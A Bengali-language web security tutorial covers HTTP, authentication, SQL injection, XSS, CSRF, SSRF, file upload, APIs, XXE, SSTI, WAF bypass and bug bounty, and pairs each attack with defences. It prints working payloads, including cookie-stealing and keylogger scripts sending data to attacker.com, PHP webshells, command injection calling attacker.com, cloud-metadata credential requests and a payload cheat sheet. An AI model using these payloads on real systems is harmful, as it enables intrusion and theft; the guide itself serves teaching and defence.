// CYBER SECURITY SERIES — WEB //

Web Security

Basics থেকে Advanced পর্যন্ত সম্পূর্ণ গাইড

সম্পূর্ণ বাংলা গাইড

HTTP/HTTPS কীভাবে কাজ করে থেকে শুরু করে SQL Injection, XSS, CSRF, SSRF, Authentication Bypass, API Security, WAF Bypass এবং Bug Bounty পর্যন্ত — Web Security-র সম্পূর্ণ educational গাইড।

```
GET /login?id=1' OR '1'='1 HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
[!] SQL Injection detected — এটাই আমরা শিখব ও রক্ষা করব
```

🌐 HTTP/HTTPS | 🔐 Authentication | 💉 SQL Injection | 📜 XSS | 🔄 CSRF | 🔁 SSRF | 📁 File Upload | 🔒 IDOR | 🛡️ WAF & Defense | 🐛 Bug Bounty

// বিষয়সূচি //

WEB SECURITY — COMPLETE GUIDE BASICS TO ADVANCED

01 **Web কীভাবে কাজ করে?**
HTTP/HTTPS, Request/Response, Status codes, Headers, Cookies
BASICS

02 **Authentication ও Session Security**
Login bypass, Session hijacking, JWT, Cookie theft
AUTH

03 **SQL Injection (SQLi)**
Error-based, Blind, Time-based, UNION attack, sqlmap
INJECT

04 **Cross-Site Scripting (XSS)**
Reflected, Stored, DOM-based XSS — payloads ও defense
XSS

05 **CSRF, SSRF ও Clickjacking**
Cross-site request forgery, Server-side request forgery, UI redressing
CSRF

06 **IDOR ও Broken Access Control**
Insecure Direct Object Reference, Privilege escalation, Path traversal
ACCESS

07 **File Upload ও Command Injection**
Malicious file upload, webshell, OS command injection
UPLOAD

08 **API Security**
REST API vulnerabilities, GraphQL, JWT attacks, API enumeration
API

09 **Advanced Web Attacks**
XXE, SSTI, Deserialization, HTTP Request Smuggling, Open Redirect
ADVANCED

10 **Web Application Recon ও Testing**
Burp Suite workflow, directory fuzzing, technology fingerprinting
RECON

11 **WAF Bypass ও Defense**
WAF এড়ানোর কৌশল এবং নিরাপদ Web App তৈরির গাইড
DEFENSE

12 **Bug Bounty ও Cheat Sheet**

Bug Bounty methodology, platforms, সব payload এক জায়গায়

CHEAT

CHAPTER 01

🌐 Web কীভাবে কাজ করে?

HTTP/HTTPS, Request-Response cycle, Headers, Cookies, Status Codes — Web Security-র ভিত্তি

01

HTTP Request-Response Cycle

```
Browser (Client) Web Server 1. তুমি browser-এ https://example.com/login টাইপ করো 2. Browser DNS query করে → IP address পায় 3. TCP connection (3-way handshake) + TLS Handshake (HTTPS) HTTP Request: GET /login HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Cookie: session=abc123 Accept: text/html HTTP Response: HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: session=xyz789; HttpOnly; Secure X-Frame-Options: DENY <html>...</html>
```

HTTP Methods

Method	কাজ	Security Concern
GET	Data পড়া, URL-এ parameters	Sensitive data URL-এ যেও না
POST	Data পাঠানো, form submit	CSRF এর লক্ষ্য
PUT	Resource আপডেট	Authorization check করো
DELETE	Resource মুছে ফেলা	IDOR vulnerability
OPTIONS	Allowed methods দেখা	CORS misconfiguration

গুরুত্বপূর্ণ HTTP Headers

🔒 Security Headers (থাকা উচিত)

- `Content-Security-Policy` — XSS প্রতিরোধ

- **X-Frame-Options: DENY** — Clickjacking প্রতিরোধ
- **Strict-Transport-Security** — HTTPS enforce
- **X-Content-Type-Options: nosniff**
- **Referrer-Policy**
- **Permissions-Policy**

🚨 Leaky Headers (সরিয়ে দাও)

- **Server: Apache/2.4.1** — version expose
- **X-Powered-By: PHP/7.4** — tech stack expose
- **X-AspNet-Version**
- **X-Generator**

Cookies ও Security Flags

```
# Secure Cookie এর উদাহরণ Set-Cookie: session=abc123; HttpOnly; # JavaScript দিয়ে access করা যাবে না — XSS থেকে রক্ষা Secure; # শুধুমাত্র HTTPS-এ পাঠানো হবে SameSite=Strict; # Cross-site request-এ পাঠানো হবে না — CSRF থেকে রক্ষা Path=/; Max-Age=3600 # Insecure Cookie — সমস্যা কী? Set-Cookie: session=abc123 # কোনো flag নেই! JavaScript steal করতে পারবে
```

HTTP Status Codes

2xx — সফল

- 200 OK
- 201 Created
- 204 No Content

3xx — Redirect

- 301 Moved Permanently
- 302 Found (Redirect)
- 304 Not Modified

4xx/5xx — Error

- 401 Unauthorized
- 403 Forbidden
- 404 Not Found
- 500 Server Error

CHAPTER 02

🔐 Authentication & Session Security

Login কীভাবে কাজ করে, session management, JWT এবং authentication bypass

Authentication Bypass Techniques

```
# ১. Default Credentials admin / admin admin / password admin / 123456 root / root test / test # ২. SQL Injection in Login Username: admin'-- Username: ' OR '1'='1'-- Username: admin' # Password: anything # ৩. Parameter Tampering # URL: /profile?user_id=123 → /profile?user_id=1 (admin) # Cookie: role=user → role=admin # Hidden field: <input type="hidden" name="role" value="user"> # ৪. Response Manipulation (Burp Suite) # Server returns: {"success": false} # Change to: {"success": true}
```

Session Hijacking

```
# Session Token চুরির পদ্ধতি # ১. XSS দিয়ে cookie steal <script>document.location='http://attacker.com/?c='+document.cookie</script> # ২. Network sniffing (HTTP-এ) $ tcpdump -i eth0 -A port 80 | grep -i cookie # ৩. Predictable Session ID # session=user_1001 → session=user_1002 (IDOR) # ৪. Session Fixation # Attacker sends: http://target.com/login?sessionid=KNOWN_ID # Victim logs in → attacker uses same session
```

JWT (JSON Web Token) Security

```
# JWT Structure: header.payload.signature eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9. SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # Decode করা (base64) Header: {"alg":"HS256","typ":"JWT"} Payload: {"user":"alice","role":"user","exp":1735689600} # Attack 1: Algorithm Confusion (alg:none) # Header পরিবর্তন: {"alg":"none"} # Signature বাদ দাও → token invalid check bypass # Attack 2: Weak Secret Brute Force $ hashcat -a 0 -m 16500 jwt.txt rockyou.txt # Attack 3: Payload Tampering # {"role":"user"} → {"role":"admin"} করে signature fake করো # Secure JWT
```

```
Practice # ✓ Strong secret (32+ chars random) # ✓ Short expiry time # ✓ Verify signature always # ✓ Use RS256 instead of HS256
```

// Authentication Security Checklist //

- ✅ Account lockout — ৫ বার fail-এ lock করো
- ✅ MFA/2FA সব sensitive account-এ
- ✅ Secure, random session token (UUID)
- ✅ HttpOnly, Secure, SameSite cookie flags
- ✅ Password হ্যাশ করো bcrypt দিয়ে
- ✅ Logout-এ server-side session invalidate করো

CHAPTER 03

💉 SQL Injection (SQLi)

Web-এর সবচেয়ে বিপজ্জনক এবং সবচেয়ে পুরনো vulnerability — কীভাবে কাজ করে ও রক্ষা করতে হয়

SQL Injection কী?

User input সরাসরি SQL query-তে ঢোকানো হলে attacker সেই query পরিবর্তন করতে পারে। এটি database-এর সমস্ত data চুরি, মুছে দেওয়া বা পরিবর্তন করতে পারে।

```
# Vulnerable Code (PHP) $query = "SELECT * FROM users WHERE username='$_GET['user']' AND password='$pass'"; # Normal input: username=alice → query is fine SELECT * FROM users WHERE username='alice' AND password='...' # Malicious input: username=admin'-- SELECT * FROM users WHERE username='admin'--' AND password='...' # -- মানে comment → password check বাদ! Admin হিসেবে login!
```

SQLi-র ধরন

1. Error-based SQLi

```
# Database error দেখা যায় ' AND extractvalue(1,concat(0x7e,version()))-- ' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- # Output: Duplicate entry '5.7.32-1' ← database version পেয়ে গেলাম
```

2. UNION-based SQLi

```
# Step 1: Column সংখ্যা বের করা ' ORDER BY 1-- # OK ' ORDER BY 2-- # OK ' ORDER BY 3-- # Error! → 2 columns # Step 2: Database name বের করা ' UNION SELECT database(),NULL-- ' UNION SELECT user(),database()-- # Step 3: Tables বের করা ' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- # Step 4: Columns বের করা ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- # Step 5: Data dump ' UNION SELECT username,password FROM users--
```

3. Blind SQLi (Time-based)

```
# Boolean-based Blind ' AND 1=1-- # True → normal page ' AND 1=2-- # False → different response ' AND SUBSTRING(username,1,1)='a'-- # Username 'a' দিয়ে শুরু? # Time-based Blind (কোনো visual change নেই) ' AND SLEEP(5)-- # MySQL — 5 সেকেন্ড দেরি = vulnerable '; WAITFOR DELAY '0:0:5'-- # MSSQL ' AND 1=1 AND SLEEP(5)--
```

4. SQLMap — Automated SQLi

```
$ sqlmap -u "http://target.com/page?id=1" $ sqlmap -u "http://target.com/page?id=1" --dbs # Databases $ sqlmap -u "http://target.com/page?id=1" -D mydb --tables $ sqlmap -u "http://target.com/page?id=1" -D mydb -T users --dump $ sqlmap -r request.txt --level=5 --risk=3 # Burp request file $ sqlmap -u "http://target.com" --data="user=a&pass=b" # POST request
```

SQLi থেকে রক্ষার উপায়

```
# ✅ Prepared Statements (Parameterized Queries) # PHP (PDO) $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt->execute([$username, $password]); # Python (SQLite) cursor.execute("SELECT * FROM users WHERE username=? AND password=?", (user, pass)) # Java (JDBC) PreparedStatement stmt = conn.prepareStatement( "SELECT * FROM users WHERE username=? AND password=?" ); stmt.setString(1, username); stmt.setString(2, password); # ❌ NEVER DO THIS query = "SELECT * FROM users WHERE user='" + username + "'" # VULNERABLE!
```

CHAPTER 04

📜 Cross-Site Scripting (XSS)

Reflected, Stored, DOM-based — XSS-এর তিন রূপ, payloads ও defense

XSS-এর তিনটি ধরন

🔄 Reflected XSS

Server URL parameter থেকে সরাসরি response-এ include করে। Link-এ click করলে ঘটে। শুধু নির্দিষ্ট ব্যক্তিকে affect করে।

💾 Stored XSS

Script database-এ save হয় এবং যে কেউ সেই page দেখলে execute হয়। সবচেয়ে বিপজ্জনক — comment, profile, forum-এ হয়।

🔧 DOM-based XSS

Client-side JavaScript DOM manipulate করে সৃষ্টি হয়। Server দেখতে পায় না, WAF bypass করা সহজ।

XSS Payloads

```
# Basic Test Payloads <script>alert('XSS')</script> <script>alert(document.domain)
</script> <script>alert(document.cookie)</script> <img src=x onerror=alert(1)> <svg
onload=alert(1)> <body onload=alert(1)> '"><script>alert(1)</script> # Cookie Stealing
<script> fetch('https://attacker.com/steal?c='+document.cookie) </script> # Keylogger
<script> document.onkeypress = function(e) { fetch('https://attacker.com/key?k='+e.key) }
</script> # WAF Bypass Payloads <ScRiPt>alert(1)</ScRiPt> <img src="x" onerror="alert(1)">
# HTML entities <script>eval(atob('YWxlcnQoMSk='))</script> # Base64 <svg/onload=alert`1`>
jaVasCript:alert(1) # href attribute
```

XSS থেকে রক্ষার উপায়

```
# ১. Output Encoding — HTML encode করো # < → &lt; > → &gt; " → &quot; ' → &#x27; # PHP
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); # JavaScript (innerText, not
innerHTML) element.textContent = userInput; # ✅ Safe element.innerHTML = userInput; # ❌
Dangerous # ২. Content Security Policy (CSP) Header Content-Security-Policy: default-src
'self'; script-src 'self' 'nonce-RANDOM'; # ৩. HttpOnly Cookie — JavaScript access বন্ধ করো
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
```

CHAPTER 05

🔄 CSRF, SSRF ও Clickjacking

Cross-site attacks — ব্যবহারকারী বা সার্ভারকে অজান্তে attack-এর হাতিয়ার বানানো

CSRF — Cross-Site Request Forgery

Victim যখন attacker-এর site visit করে, তখন সেই site victim-এর browser দিয়ে target site-এ authenticated request পাঠায় — victim জানেই না।

```
# CSRF Attack Example # Victim bank.com-এ logged in আছে # Attacker এই HTML পাঠায় email-এ:
<html> <body onload="document.forms[0].submit()"> <form action="https://bank.com/transfer"
method="POST"> <input name="to" value="attacker_account"> <input name="amount"
value="10000"> </form> </body> </html> # Victim browser নিজেই bank.com-এ transfer করে দেয়!
# CSRF Protection # ✅ CSRF Token — প্রতিটি form-এ unique random token <input type="hidden"
name="csrf_token" value="RANDOM_TOKEN_HERE"> # ✅ SameSite=Strict Cookie # ✅
Origin/Referer header check
```

SSRF — Server-Side Request Forgery

Server-কে দিয়ে internal network বা cloud metadata access করানো। AWS EC2-তে এটি credential চুরির সবচেয়ে বড় উপায়।

```
# Target URL: http://target.com/fetch?url=... # Internal Network Access ?
url=http://192.168.1.1/admin ?url=http://localhost:8080/ ?url=http://127.0.0.1:22 # AWS
Metadata (SSRF দিয়ে সবচেয়ে বড় impact) ?url=http://169.254.169.254/latest/meta-data/ ?
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Cloud provider
metadata endpoints AWS: http://169.254.169.254/latest/meta-data/ GCP:
http://metadata.google.internal/computeMetadata/v1/ Azure:
http://169.254.169.254/metadata/instance # Defense # ✅ Whitelist allowed URLs/domains #
✅ Block internal IP ranges (169.254.x.x, 10.x.x.x, 192.168.x.x) # ✅ Use Cloud IMDSv2
(AWS)
```

Clickjacking

```
# Transparent iframe-এ victim-কে click করানো <style> iframe { opacity: 0.01; # প্রায় অদৃশ্য
position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 999; } </style> #
Attacker দেখাচ্ছে: "Win a Prize! Click Here!" # আসলে victim click করছে: bank.com-এর
"Transfer Money" button # Defense X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'none';
```

CHAPTER 06

🔓 IDOR ও Broken Access Control

OWASP Top 1 — Authorization সমস্যা। অন্যের data access, admin panel, path traversal

IDOR — Insecure Direct Object Reference

Object ID সরাসরি URL বা parameter-এ থাকে এবং server authorization check করে না। Bug Bounty-তে সবচেয়ে বেশি পাওয়া vulnerability।

```
# IDOR Examples # URL-based IDOR GET /api/users/123/profile → নিজের profile GET /api/users/124/profile → অন্যের profile! (IDOR) # API response-এ অন্যের data GET /api/orders/1001 → নিজের order GET /api/orders/1002 → অন্যের order (IDOR) # File Download IDOR GET /download?file=invoice_123.pdf GET /download?file=invoice_124.pdf # অন্যের invoice! # Mass IDOR Testing (Burp Intruder) # user_id: 1, 2, 3, 4, 5... → সব response check করো # Defense # ✅ Server-side authorization check করো প্রতিটি request-এ # ✅ Indirect reference map ব্যবহার করো (UUID) # ✅ নিজের resource কি না verify করো
```

Path Traversal (Directory Traversal)

```
# Target: /download?file=report.pdf # Path Traversal payloads ?file=../../../etc/passwd ?file=..%2F..%2F..%2Fetc%2Fpasswd # URL encoded ?file=....//....//etc/passwd # Double encoding ?file=/etc/passwd%00.pdf # Null byte # Windows targets ?file=..\..\..\windows\system32\drivers\etc\hosts ?file=..%5C..%5C..%5Cwindows%5Cwin.ini # Defense # ✅ realpath() দিয়ে sanitize করো # ✅ whitelist করা directories-এর মধ্যে সীমাবদ্ধ রাখো # ✅ "../" strip করো input থেকে
```

CHAPTER 07

📂 File Upload ও Command Injection

Malicious file upload করে webshell পাওয়া এবং OS command execution

File Upload Vulnerabilities

```
# PHP Webshell <?php system($_GET['cmd']); ?> <?php echo shell_exec($_REQUEST['cmd']); ?>
<?php passthru($_POST['c']); ?> # Upload করার পর: http://target.com/uploads/shell.php?
cmd=whoami http://target.com/uploads/shell.php?cmd=cat+/etc/passwd
http://target.com/uploads/shell.php?cmd=ls+-la # Extension Bypass Techniques shell.php #
Blocked? Try: shell.php5 shell.php7 shell.phtml shell.pHp # Case variation shell.php.jpg #
Double extension shell.php%00.jpg # Null byte # MIME Type Bypass # Content-Type:
image/jpeg পাঠাও কিন্তু PHP content দাও # Defense # ✅ Whitelist: শুধু jpg, png, pdf allow করো
# ✅ Magic bytes check করো (file signature) # ✅ Rename করো upload-এর পর # ✅ Web root-
এর বাইরে store করো # ✅ PHP execution disable করো upload directory-তে
```

Command Injection (OS Injection)

```
# Vulnerable code: ping feature $output = shell_exec("ping -c 1 " . $_GET['host']); #
Normal input: 8.8.8.8 ping -c 1 8.8.8.8 # Command Injection payloads 8.8.8.8; whoami
8.8.8.8 && cat /etc/passwd 8.8.8.8 | id 8.8.8.8 `whoami` 8.8.8.8$(whoami) # Blind Command
Injection (output নেই) 8.8.8.8; sleep 5 # Time delay 8.8.8.8; ping -c 5 attacker.com # DNS
lookup 8.8.8.8; curl http://attacker.com/$(whoami) # Defense # ✅ escapeshellarg() /
escapeshellcmd() ব্যবহার করো # ✅ Shell function এড়াও — native library ব্যবহার করো # ✅
Input whitelist করো (শুধু IP format allow)
```

CHAPTER 08

🔌 API Security

REST API, GraphQL, JWT attacks এবং API-specific vulnerabilities

08

API Enumeration ও Testing

```
# API Endpoint খোঁজা $ gobuster dir -u https://api.target.com -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt $ ffuf -w api_wordlist.txt -u https://api.target.com/api/FUZZ # Common API endpoints /api/v1/users /api/v1/admin /api/v2/users /swagger.json # API documentation leak! /api-docs /openapi.json /.env # Environment variables! # HTTP Method Testing $ curl -X GET https://api.target.com/users/1 $ curl -X DELETE https://api.target.com/users/1 # Should be forbidden? $ curl -X PUT https://api.target.com/users/1 -d '{"role":"admin"}'
```

GraphQL Security

```
# GraphQL Introspection — API structure বের করা { __schema { types { name } queryType { fields { name } } } } # GraphQL IDOR query { user(id: 2) { # অন্যের user ID email password creditCard } } # GraphQL Batching Attack (Rate Limit Bypass) [ {"query": "mutation { login(user:'admin', pass:'a') }"}, {"query": "mutation { login(user:'admin', pass:'b') }"}, ... (1000 requests in one HTTP call) ]
```

API Security Best Practices

সমস্যা	সমাধান
Broken Object Level Auth	প্রতিটি object access-এ authorization check করো
Broken Auth	Strong JWT, rate limiting, account lockout
Excessive Data Exposure	শুধু দরকারি fields return করো

সমস্যা	সমাধান
Rate Limiting নেই	IP ও user-based rate limit implement করো
Broken Function Level Auth	Admin endpoints সবার কাছে expose করো না

CHAPTER 09

⚡ Advanced Web Attacks

XXE, SSTI, Insecure Deserialization, HTTP Request Smuggling, Open Redirect

09

XXE — XML External Entity Injection

```
# Vulnerable XML parser-এ file read করা <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user><username>&xxe;</username></user> # SSRF via XXE <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> # Blind XXE (DNS exfiltration) <!ENTITY xxe SYSTEM "http://ATTACKER.com/?"> # Defense # ✅ External entity processing disable করো # ✅ libxml2: LIBXML_NOENT disable করো
```

SSTI — Server-Side Template Injection

```
# Template engine inject করে code execute করা # Detection payloads {{7*7}} → 49 দেখালে Jinja2/Twig (Python/PHP) ${7*7} → 49 দেখালে FreeMarker/Velocity (Java) <%= 7*7 %> → 49 দেখালে ERB (Ruby) # Jinja2 (Python/Flask) RCE {{config.items()}} {{''.__class__.__mro__[1].__subclasses__()}} {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} # Defense # ✅ User input template-এ সরাসরি কখনো দিও না # ✅ Sandboxed template engine ব্যবহার করো
```

Open Redirect

```
# Target: /redirect?url=https://trusted.com # Attack: Phishing এর জন্য /redirect?url=https://evil.com /redirect?url=//evil.com /redirect?url=https://trusted.com.evil.com /redirect?next=https://evil.com # OAuth state bypass দিয়ে token theft GET /oauth/callback?code=AUTH_CODE&state=https://evil.com # Defense # ✅ Whitelist করো allowed redirect URLs # ✅ Relative URL-এ restrict করো # ✅ User-supplied redirect validate করো
```

CHAPTER 10

🔭 Web App Recon ও Burp Suite

Professional web application testing workflow — Burp Suite master guide

10

Web Recon — তথ্য সংগ্রহ

```
# Technology fingerprinting $ whatweb https://target.com $ wafw00f https://target.com # WAF detect $ curl -I https://target.com # Response headers # Directory & file enumeration $ gobuster dir -u https://target.com \ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ -x php,html,txt,js,json -t 50 $ ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200,301,403 # Subdomain enumeration $ subfinder -d target.com | httpx -silent # JS file analysis — hidden endpoints $ katana -u https://target.com -jc # JavaScript crawl $ linkfinder -i https://target.com/app.js -o cli # Parameter discovery $ paramspider -d target.com $ arjun -u https://target.com/search
```

Burp Suite — Complete Workflow

🔧 Core Features

- **Proxy** — HTTP intercept ও modify
- **Repeater** — Manual request testing
- **Intruder** — Automated fuzzing
- **Scanner** — Auto vulnerability scan
- **Decoder** — Encode/decode
- **Comparer** — Response diff
- **Logger** — All traffic log

🎯 Testing Workflow

1. Proxy setup → browser configure
2. পুরো site browse করো

3. Interesting request Repeater-এ পাঠাও
4. Parameter modify করে test করো
5. Intruder দিয়ে fuzz করো
6. Active Scanner চালাও

Burp Suite দরকারী Shortcuts

```
# Keyboard Shortcuts Ctrl+R → Send to Repeater Ctrl+I → Send to Intruder Ctrl+S → Search
Ctrl+Z → Undo in editor Ctrl+A → Select all # Intruder Attack Types Sniper → একটি
position, একটি wordlist Battering Ram → সব position-এ same payload Pitchfork → Multiple
position, multiple wordlist Cluster Bomb → সব combination try করে
```

CHAPTER 11

🛡 WAF Bypass ও Web Security Defense

WAF কী, কীভাবে কাজ করে, bypass techniques এবং নিরাপদ web application তৈরির সম্পূর্ণ গাইড

WAF Bypass Techniques

```
# WAF detect করা $ wafw00f https://target.com # Case Variation <ScRiPt>alert(1)</ScRiPt>
sElEcT * fRoM uSeRs # Encoding Bypass %3Cscript%3Ealert(1)%3C/script%3E # URL encode
<script>alert(1)</script> # HTML entity \x3cscript\x3ealert(1) # Hex # Comment Injection
(SQL) SE/**/LECT * FR/**/OM users SELECT/*!32302*/username FROM users # Whitespace
Alternatives SELECT%09username%09FROM%09users # Tab SELECT%0ausername%0afrom%0ausers #
Newline # Double Encoding %253Cscript%253E # %25 = %, so %253C = %3C = < (double encoded)
```

Secure Web Application — Complete Checklist

বিভাগ	করণীয়	অগ্রাধিকার
Input Validation	সব user input validate ও sanitize করো	CRITICAL
SQL	Prepared statements সবসময়	CRITICAL
Output Encoding	HTML encode করো output	CRITICAL
Authentication	MFA, account lockout, bcrypt	CRITICAL
HTTPS	সব traffic HTTPS-এ	CRITICAL
Security Headers	CSP, HSTS, X-Frame-Options	HIGH
Error Handling	Stack trace user-কে দেখাবে না	HIGH
Dependencies	নিয়মিত update করো	HIGH

বিভাগ	করণীয়	অগ্রাধিকার
Logging	Auth ও sensitive actions log করো	MEDIUM

CHAPTER 12

🐛 Bug Bounty ও Cheat Sheet

Bug Bounty methodology, কোথায় শুরু করবে এবং সব payload এক জায়গায়

Bug Bounty Methodology

🎯 কোথায় শুরু করবে

- **HackerOne** — hackerone.com
- **Bugcrowd** — bugcrowd.com
- **Intigriti** — intigriti.com
- **YesWeHack** — yeswehack.com
- **OpenBugBounty** — free programs

শুরুতে VDP (Vulnerability Disclosure Program) দিয়ে শেখো

📋 Bug Bounty Workflow

1. Scope ভালো করে পড়ো
2. Subdomain enumerate করো
3. JS files analyze করো
4. Parameters fuzzing করো
5. Business logic test করো
6. Clear PoC সহ report করো

🧪 Quick Payload Cheat Sheet

SQL Injection

`' OR '1'='1'--`	Auth bypass
`' UNION SELECT NULL--`	Column count

`' AND SLEEP(5)--`	Blind SQLi
`sqlmap -u "URL?id=1"`	Auto SQLi
`sqlmap -u URL --dbs`	DB list
`sqlmap -r req.txt`	From Burp file

XSS Payloads

`<script>alert(1)</script>`	Basic
`<img src=x onerror=alert(1)>`	Img tag
`<svg onload=alert(1)>`	SVG
`document.cookie`	Cookie steal
`dalfox url TARGET`	Auto XSS scan
`eval(atob('...'))`	WAF bypass

Web Recon

`whatweb URL`	Tech detect
`wafw00f URL`	WAF detect
`gobuster dir -u URL -w list`	Dir brute
`nikto -h URL`	Vuln scan
`ffuf -w list -u URL/FUZZ`	Fuzzing
`curl -I URL`	Headers

SSRF Payloads

`http://127.0.0.1`	Localhost
`http://192.168.1.1`	Internal
`http://169.254.169.254`	AWS metadata
`file:///etc/passwd`	Local file
`dict://127.0.0.1:22`	Port probe
`gopher://127.0.0.1:6379`	Redis attack

Practice Resources

Platform	বিবরণ	Link
PortSwigger Web Academy	সেরা free web security labs	portswigger.net/web-security
DVWA	Local vulnerable app — beginners-এর জন্য	dvwa.co.uk
HackTheBox	Real-world CTF machines	hackthebox.com
TryHackMe	Guided web hacking rooms	tryhackme.com
PentesterLab	Structured web exercises	pentesterlab.com
OWASP Juice Shop	Intentionally vulnerable app	owasp.org/juice-shop

```
GET /web-security HTTP/1.1

[+] Web Security basics বোঝা হলো ✓
[+] Vulnerabilities চেনা শেখা হলো ✓
[+] Defense ও secure coding জানা হলো ✓
```

সম্পূর্ণ শিক্ষামূলক উদ্দেশ্যে। শুধুমাত্র authorized environment ও নিজের application-এ test করো।

v1.0 — Web Security | Basics to Advanced | Bilingual | 12 Chapters + Cheat Sheet